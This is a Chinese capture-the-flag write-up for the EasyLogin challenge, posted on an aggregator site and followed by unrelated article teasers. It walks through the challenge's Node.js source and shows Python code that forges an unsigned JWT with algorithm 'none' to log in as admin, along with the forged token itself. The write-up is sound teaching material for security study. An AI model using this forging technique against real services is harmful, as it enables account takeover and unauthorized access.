[HFCTF2020]EasyLogin

2023-11-06

知识点:jwt伪造

jwt

全称:Json Web Token,是一种令牌格式,可以用来区分各个用户。

形式是下面这样。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiIxMjM0NTYiLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTY0OTM4MDE1Nn0.
SQdh7SRnQgLq2mgWwwyabgP_jwAeYWu40rJnGWitAGc

有三部分构成,各部分之间有.连接。

解密网站:https://jwt.io/
header

1.header:声明了JWT的签名算法;

2.payload:承载了各种声明并传递明文数据,例如:username,password,id.....

3.signture:拥有该部分的JWT被称为JWS,也就是签了名的JWS;

概念篇:https://www.freebuf.com/articles/web/180874.html
实战篇:https://www.freebuf.com/articles/web/181261.html

分析

可以看到源码
在这里插入图片描述
从代码中可以看出flag的地址:/api/flag

function login() {
    const username = $("#username").val();
    const password = $("#password").val();
    const token = sessionStorage.getItem("token");
    $.post("/api/login", {username, password, authorization:token})
        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function register() {
    const username = $("#username").val();
    const password = $("#password").val();
    $.post("/api/register", {username, password})
        .done(function(data) {
            const { token } = data;
            sessionStorage.setItem('token', token);
            document.location = "/login";
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function logout() {
    $.get('/api/logout').done(function(data) {
        const {status} = data;
        if(status) {
            document.location = '/login';
        }
    });
}

function getflag() {
    $.get('/api/flag').done(function(data) {
        const {flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
        alert(xhr.responseJSON.message);
    });
}

盗张图:https://blog.csdn.net/fmyyy1/article/details/115674235
在这里插入图片描述
也就是说可以看/controllers/api.js

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        #秘匙是18位的16进制密码
        const secretid = global.secrets.length;
        global.secrets.push(secret)
		#令牌
        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

这题爆破秘匙有点不好爆,毕竟它有18位,我们再看一他的jwt结构,可以发现他用的是HS256,我们可以把它改为none。
在这里插入图片描述
原因:签名算法确保恶意用户在传输过程中不会修改JWT。但是标题中的alg字段可以更改为none。有些JWT库支持无算法,即没有签名算法。当alg为none时,后端将不执行签名验证。将alg更改为none后,从JWT中删除签名数据(仅标题+‘.’+ payload +‘.’)并将其提交给服务器。

jwt生成

import jwt
token = jwt.encode(
{
  "secretid": [],
  "username": "admin",
  "password": "123456",
  "iat": 1649380156
},
algorithm="none",key="").encode(encoding='utf-8')

print(token)

获得jwt后就可以以admin,因为我们把算法改为无算法,所以后端将不执行签名验证。

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTY0OTM4MDE1Nn0.

然后登录
在这里插入图片描述
登录成功后访问/api/flag就可以了

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

[HFCTF2020]EasyLogin 的相关文章

  • hdu 1827(tarjan)

    先用tarjan缩点 然后入度为0的点就是必须要选择点同时也是最小的情况 Summer Holiday Time Limit 10000 1000 MS Java Others Memory Limit 32768 32768 K Java
  • flowable 多数据源

    目录 前言 一 多数据源 二 测试 1 测试接口 1 不带事务 2 加上事务 三 解决方法 1 开启新事物 2 重写事务 总结 前言 在springboot中使用flowable 此时flowable默认使用spring中的数据源 我这里f
  • ERP常用词汇中英文对照

    ERP常用词汇中英文对照 2007年10月24日 星期三 15 23 A gt gt ABC Classification ABC分类法 对于库存的所有物料 按照全年货币价值从大到小排序 然后划分为三大类 分别称为A类 B类和C类 A类物料
  • Fastjson 全局日期序列化设置导致 JSONField 无效(Java)

    Fastjson 全局日期序列化设置导致 JSONField 无效 Java 在 Java 开发中 Fastjson 是一个流行的 JSON 处理库 它提供了强大的功能和灵活性 其中一个常见的需求是将 Java 对象序列化为 JSON 字符
  • linux文件时间戳(atime, mtime, ctime)

    简介 在linux系统创建一个文件后 使用stat lt 文件名 gt 命令行查看文件状态 总是能看到 3 个时间戳 如下图所示 从上图可以看到 touch命令创建文件abc后 使用 stat abc命令行查看abc文件的状态 显示了3个时
  • 常用命令行指令

    文章目录 1 快速重命名多份文件 2 将mkv文件转为MP4 3 cd命令 4 pip常用命令 5 常用命令大全 1 快速重命名多份文件 在想要修改的文件夹下方 按住shift键 右击鼠标 打开PowerShell ls mp4 mv De
  • 由于找不到MSVCR120.dll,无法继续执行代码,重新安装程序可能会解决此问题。

    今天安装mysql的时候遇到了一个bug 如下图所示 这是因为没有安装如下软件导致的 点击如下链接 下载vcredist 下载 vcredist 地址 https www microsoft com zh CN download detai

随机推荐

  • NS3初探

    NS3初探 文章目录 NS3初探 一 简介 二 NS3重要概念 1 节点 Node类 2 信道 Channel类 3 网络设备 NetDevice类 4 应用程序 Application类 5 拓扑帮助 topology helper 6
  • CAM,PradCAM,layer CAM(可解释性分析方法)

    目录 1 CAM 1 1作用 1 2应用实例 1 3CAM的特点 1 4CAM的思路 1 5CAM的缺点 2 GradCAM 2 1和GAM的区别及思路 2 2应用面 2 3一个延深 解决模型偏见 2 4缺点 3 Grad CAM 4 Sc
  • R语言基于R6的面向对象编程

    R的极客理想系列文章 涵盖了R的思想 使用 工具 创新等的一系列要点 以我个人的学习和体验去诠释R的强大 R语言作为统计学一门语言 一直在小众领域闪耀着光芒 直到大数据的爆发 R语言变成了一门炙手可热的数据分析的利器 随着越来越多的工程背景
  • 在Altium Designer设计时候出现的Unknown Pin:Pin XX问题

    之前在布线时候发现一个元器件没有而且一直提示不知道引脚 以为是网络标号没有弄 后来看了一下网络标号也有 然后系统还是提示不知道该引脚 如图所示 然后就按照网上方法把全部网络标号删去了 重新弄也没有用 原理图也检查了一遍 这个元器件的原理图也
  • 华为首席开源联络官任旭东:深耕基础软件开源,协同打造数字世界根技术

    整理 巫柔颖 开源是迄今为止最先进 最广泛 最活跃的协同创新模式 通过汇聚创新资源 构建信任环境 促进知识 智慧 技术 成果等的共享 加速创新要素高效流动 产生更大价值 已经成为软件技术升级和产业发展的主要模式 是推动科技创新的核心动力与重
  • scala集合和java集合的转换-List

    scala集合和java集合的转换 List scala的List要想转换成java的list 需要导入对应的类scala collection JavaConverters import java lang util import com
  • swift无法创建空init构造函数,如何给类变量赋予nil空值

    今天学swift的时候遇到一个问题 无法创建一个空的类对象 最主要的是 无法让对象的类变量为空 比如创建一个Person类 年龄age用Int属性 但是age默认是0 不是空值nil 以下代码给出了解决方案 import Foundatio
  • SSH远程登录原理与运用

    SSH是每一台Linux电脑的标准配置 随着Linux设备从电脑逐渐扩展到手机 外设和家用电器 SSH的使用范围也越来越广 不仅程序员离不开它 很多普通用户也每天使用 SSH具备多种功能 可以用于很多场合 有些事情 没有它就是办不成 本文是
  • 基于用户 的协同过滤算法

    计算用户相似度和用户对未知物品的可能评分 基于用户的协同过滤算法主要包括两个步骤 1 找到和目标用户兴趣相似的用户集合 2 找到这个集合中的用户喜欢的 且目标用户没有听说过的物品推荐给目标用户 例如现在有A B C D四个用户 分别对a b
  • bugku-本地管理员

    打开场景是登录框 尝试弱口令登录 这里我使用的弱口令有 admin 123456 admin 888888 admin admin admin admin23等 均登陆失败 提示IP已被记录 查看页面源码看看有没有什么提示 可以看到提示了
  • vue2-cli5使用postcss-pxtorem(px转rem)及适应手机微信

    前言 1 为了使项目适配于各种pc端分辨率 所以使用了此插件 2 设计图尺寸是1920 3 根据大多数移动端使用情况 只适配了微信系统 4 vue2 cli5 vue 2 6 14 node 16 14 2 vue2 cli5 ant de
  • PHP发送带附件的电子邮件,使用php发送带附件的电子邮件

    我使用此代码使用php发送带附件的电子邮件 但由于我收到电子邮件并且附件出现在内容中 因此附件中存在错误 在我使用相同的代码并且它成功运行之前 为什么 sending email with attachments function send
  • python设计模式-工厂模式-最简洁的说明与代码

    工厂模式简介 工厂模式实现途径是一个类或者一个方法 通过这个类可以自动化创建出我们想要的对象 工厂模式作用 便于实例化对象 还便于之后增加更多的对象 代码实现 class A pass class B pass class Factory
  • [创业-40]:优秀人与普通人的区别

    0 优秀者是接纳的 口袋 有则改之无则加勉 普通人是踢 皮球 1 优秀者以他人为中心 普通人以自我为中心 2 优秀者遇事先保持冷静 普通人遇事先发泄情绪 3 优秀者善于站在别人的角度思考问题 普通人希望别人站在自己的角度理解自己 4 优秀者
  • Qt unicode字串转中文

    有时候 直接在html里面获取的字符串就是带有 u 的 然后直接显示的时候 u 也会显示出来 这里就是教你如何去掉 u QString filename u6211 u662f u4e2d u6587 do int idx filename
  • 将vscode字体字号调大

    1 进入vscode 2 找到页面左下角齿轮标符点击 然后在弹出选项那里点击设置 setting 3 点击文本编辑器 4 点击字体 5 找到font size点击设置数字 个人建议18 22 即可
  • ‘close’ was not declared in this scope

    close was not declared in this scope 没有包含头文件 unistd h 造成的 加上 include
  • Spring Cloud 学习笔记二:搭建微服务工程之Eureka 注册中心开启安全认证

    目录 Eureka 注册中心开启密码认证 Eureka 注册中心开启密码认证 Eureka 自带了一个 Web 的管理页面 方便我们查询注册到上面的实例信息 但是有一个问题 如果在实际使用中 注册中心地址有公网 IP 的话 必然能直接访问到
  • 如何在30天内,通过TikTok变现一万美金。按照我的方法,你也可以

    大家好 我是项柚 最近创作者基金愈发火热 Tiktok又热了起来 但还是很多朋友停留在川普封停TT的时间节点上 一直没有时间 今天特意写一篇文章来详细分析 其实圈子很重要 方向很重要 所以很多Tiktok运营者做不好的原因是没有交流的圈子
  • [HFCTF2020]EasyLogin

    知识点 jwt伪造 jwt 全称 Json Web Token 是一种令牌格式 可以用来区分各个用户 形式是下面这样 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 eyJzZWNyZXRpZCI6MSwidXNl